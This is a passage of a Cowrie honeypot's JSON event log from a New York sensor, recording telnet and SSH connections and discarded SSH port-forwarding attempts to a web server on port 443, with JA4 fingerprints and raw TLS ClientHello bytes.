"session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.171865701675415,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:48.473230Z","src_ip":"128.199.8.54","session":"302784b8f375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40046,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c3be8295c78","protocol":"telnet","message":"New connection: 172.81.62.90:40046 (159.203.135.109:23) [session: 5c3be8295c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:50.116808Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:50.513650Z","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:50.572960Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\xde\\xf5\\xb4\\x19M,\\xd0\\xdd\\xb8n\\xeex'\\x8e\\xa0d\\x87\\xa9j;cY\\xb7\\x84u\\xcd\\x99V\\xd8\\xedG \\xb7\\x1f>\\x9a^l\\x8dh\\xed\\x0b%\\xb4\\x9fU\\x11\\x01\\xf5\\x92\\r\\x8f\\xf1\\x9a=~5en\\x93d\\x9f\\xf4\\xb7\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x85\\tAF\\xd6\\x91\\xae8\\xbc\\xa6\\xe7\\xf8_\\xe0\\xa8\\x16AqN\\xcd\\x9f\\xffw\\xf2N3\\xe8\\x9d@d\\x19K\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\xde\\xf5\\xb4\\x19M,\\xd0\\xdd\\xb8n\\xeex'\\x8e\\xa0d\\x87\\xa9j;cY\\xb7\\x84u\\xcd\\x99V\\xd8\\xedG \\xb7\\x1f>\\x9a^l\\x8dh\\xed\\x0b%\\xb4\\x9fU\\x11\\x01\\xf5\\x92\\r\\x8f\\xf1\\x9a=~5en\\x93d\\x9f\\xf4\\xb7\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x85\\tAF\\xd6\\x91\\xae8\\xbc\\xa6\\xe7\\xf8_\\xe0\\xa8\\x16AqN\\xcd\\x9f\\xffw\\xf2N3\\xe8\\x9d@d\\x19K\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:50.575624Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:50.775703Z","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:50.782043Z","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:50.820275Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03|\\xf0W\\xd8{\\xd6\\\\Tz\\x97\\xf9I \\xbd\\x86Z\\x87\\xb6Hd\\x19[\\x03\\xf9\\x08$\\\\\\xe1\\xe4FZ\\xa1 =\\x91\\xb4\\xd3x\\xe8\\x16\\xebk/\\xe6Ct\\xa9\\x81+\\xb5\\x00\"\\x7fkI<XW\\xc9\\xe9\\xf7\\x9ei\\xa8\\x03\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\xedZ\\x95D\\xc6\\xc3\\x97fb\\x17\\xe1h\\x91t\\x93\\x16\\xc8\\xa4\\xe5?)\\x88J~:\\xd3W\\xc1*XR\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03|\\xf0W\\xd8{\\xd6\\\\Tz\\x97\\xf9I \\xbd\\x86Z\\x87\\xb6Hd\\x19[\\x03\\xf9\\x08$\\\\\\xe1\\xe4FZ\\xa1 =\\x91\\xb4\\xd3x\\xe8\\x16\\xebk/\\xe6Ct\\xa9\\x81+\\xb5\\x00\"\\x7fkI<XW\\xc9\\xe9\\xf7\\x9ei\\xa8\\x03\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\xedZ\\x95D\\xc6\\xc3\\x97fb\\x17\\xe1h\\x91t\\x93\\x16\\xc8\\xa4\\xe5?)\\x88J~:\\xd3W\\xc1*XR\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:50.823064Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:50.828397Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x13\\xff\\xc1\\xeeb\\xa8m\\x05\\x18\\xe8\\xd3\\x9b\\xc9\\xcaf\\x15\\x88f\\xf0\\xb1]!i\\x9c\\x88r\\xc6\\xdb\\xafq/l \\xc5i\\xdd\\xe5i\\xc6\\xacC\\xdf\\x94\\xd2<\\x92\\xc2\\\\\\xc1\\xbe$\\xb7=\\x1b\\xf4\\xee\\x93\\xd2\\x18\\x0f\\x9e-b\\xdb\\x81\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 >\\xb7&\\x13\\xb4\\xd8\\xecA\\xd1\\x9b7\\xe4\\x9c\\x1b\\xb2\\x86\\x1d\\x97_@\\xef&}Dyh\\xb5\\xf3\\t\\xc7FM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x13\\xff\\xc1\\xeeb\\xa8m\\x05\\x18\\xe8\\xd3\\x9b\\xc9\\xcaf\\x15\\x88f\\xf0\\xb1]!i\\x9c\\x88r\\xc6\\xdb\\xafq/l \\xc5i\\xdd\\xe5i\\xc6\\xacC\\xdf\\x94\\xd2<\\x92\\xc2\\\\\\xc1\\xbe$\\xb7=\\x1b\\xf4\\xee\\x93\\xd2\\x18\\x0f\\x9e-b\\xdb\\x81\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 >\\xb7&\\x13\\xb4\\xd8\\xecA\\xd1\\x9b7\\xe4\\x9c\\x1b\\xb2\\x86\\x1d\\x97_@\\xef&}Dyh\\xb5\\xf3\\t\\xc7FM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:50.830619Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:51.076811Z","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:51.111848Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03w\\x9ci\\xa7*\\xbcw\\xd0\\xc0\\x0b\\xb4A\\x98_f|I\\xbbuz\\xc6\\xd4_@\\x06\\x8c\\x95\\xb6|\\xdf\\x130 \\x0fS\\xca\\xb4\\xa4\\xa1\\x06\\xf5\\xcfa\\xb1\\x08\\x83\\xd7k\\x1a\\x1e,\\xcfdeB\\x87l\\x8au1\\x85\\xb1\\xc4\\xc6\\xf8\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 